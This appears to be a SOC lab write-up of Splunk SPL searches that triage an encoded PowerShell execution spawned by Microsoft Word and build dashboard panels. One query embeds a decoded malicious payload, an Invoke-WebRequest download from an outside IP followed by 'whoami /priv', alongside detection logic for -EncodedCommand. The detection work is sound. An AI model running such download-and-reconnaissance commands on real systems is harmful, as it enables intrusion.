Splunk SPL Investigation Queries

PowerShell Payload, Flag & Triage Analysis

Search 1: PowerShell Payload, Flag & Triage Analysis

Command (Splunk SPL)

```
index="soc-investigation" source="*powershell_lab_v2.csv*" EventCode="4688" ProcessName="*powersh
ell*"
| eval Suspicious_Flags=if(like(CommandLine, "%-EncodedCommand%"), "Bypass + Hidden + EncodedComm
and", "None")
| eval Decoded_Payload=if(like(CommandLine, "%-EncodedCommand%"), "Invoke-WebRequest -Uri https:/
/198.51.100.20/test.txt -OutFile C:\Users\j.doe\AppData\Local\Temp\test.txt; whoami.exe /priv", C
ommandLine)
| eval Verdict=case(
    ProcessName="splunk-powershell.exe", "False Positive (Splunk Internal)",
    like(CommandLine, "%-EncodedCommand%"), "CRITICAL - Malicious Execution",
    1=1, "Benign User Activity"
  )
| table _time, User, ParentProcessName, ProcessName, ProcessId, Suspicious_Flags, Decoded_Payload
, Verdict
```

Explanation

• Queries EventCode 4688 process-creation logs for executables containing “powershell”, including powershell.exe and splunk-powershell.exe.

• Suspicious_Flags checks the command line for -EncodedCommand and labels the evasion indicators accordingly.

• Decoded_Payload inserts the CyberChef-decoded command for the encoded event (PID 5500), while retaining the plain-text command line for other events.

• Verdict classifies splunk-powershell.exe as a Splunk internal false positive, -EncodedCommand activity as CRITICAL malicious execution, and all remaining activity as benign user activity.

Search 2: Encoded PowerShell Isolation

Command (Splunk SPL)

```
index="soc-investigation" source="*powershell_lab_v2.csv*" EventCode="4688" ProcessName="powershe
ll.exe" CommandLine="*-EncodedCommand*"
| table _time, ComputerName, User, ParentProcessName, ProcessName, ProcessId, CommandLine
```

Explanation

• Isolates only the malicious PowerShell execution (PID 5500) on host WIN-SOC-LAB run by WIN-SOC-LAB\j.doe.

• WINWORD.EXE passed a Base64-encoded string through -EncodedCommand.

• The command-line column exposes the encoded payload for extraction and decoding in CyberChef.

Search 3: Parent-Child Process Ancestry & Multi-Event Correlation

Command (Splunk SPL)

```
index="soc-investigation" source="*powershell_lab_v2.csv*" (ProcessId IN (4400, 5500) OR ParentPr
ocessId IN (4400, 5500))
| eval Artifact=coalesce(CommandLine, TargetFilename, DestinationIp)
| table _time, EventCode, ParentProcessName, ParentProcessId, ProcessName, ProcessId, Artifact
| sort _time
```

Explanation

• Correlates every action performed by, or spawned from, Microsoft Word (PID 4400) and PowerShell (PID 5500).

• coalesce() selects the first non-empty value among CommandLine (4688), TargetFilename (11), and DestinationIp (3).

• The result is a unified Artifact timeline sorted chronologically for process ancestry analysis.

Search 4 — Panel 1: Total PowerShell Events by Category

Command (Splunk SPL)

```
/* Panel 1: Total PowerShell Events (by Category) — Pie Chart */
index="soc-investigation" source="*powershell_lab_v2.csv*" EventCode="4688" ProcessName="*powersh
ell*"
| eval Category=case(
    ProcessName="splunk-powershell.exe", "False Positive (splunk-powershell.exe)",
    like(CommandLine, "%-EncodedCommand%"), "Malicious (-EncodedCommand)",
    1=1, "Benign User (powershell.exe)"
  )
| stats count by Category
```

Explanation

• Builds the three-slice pie chart: false positive, malicious encoded command, and benign user activity.

• stats count by Category aggregates the event count for each classification.

Search 5 — Panel 2: PowerShell Activity Over Time

Command (Splunk SPL)

```
/* Panel 2: PowerShell Activity Over Time — Column Chart */
index="soc-investigation" source="*powershell_lab_v2.csv*" EventCode="4688" ProcessName="*powersh
ell*"
| timechart span=5m count by ProcessName
```

Explanation

• Plots PowerShell activity in 5-minute buckets.

• Separates powershell.exe and splunk-powershell.exe activity by process name.

Search 6 — Panel 3: Endpoint Telemetry Over Time

Command (Splunk SPL)

```
/* Panel 3: Endpoint Telemetry Over Time (By Event Type) */
index="soc-investigation" source="*powershell_lab_v2.csv*"
| eval Event_Type=case(
    EventCode="4688", "Process Creation (4688)",
    EventCode="3", "Network Connection (3)",
    EventCode="11", "File Created (11)"
  )
| timechart span=5m count by Event_Type
```

Explanation

• Maps event codes 4688, 3, and 11 to process creation, network connection, and file-creation telemetry.

• Groups activity into 5-minute time buckets for the endpoint telemetry chart.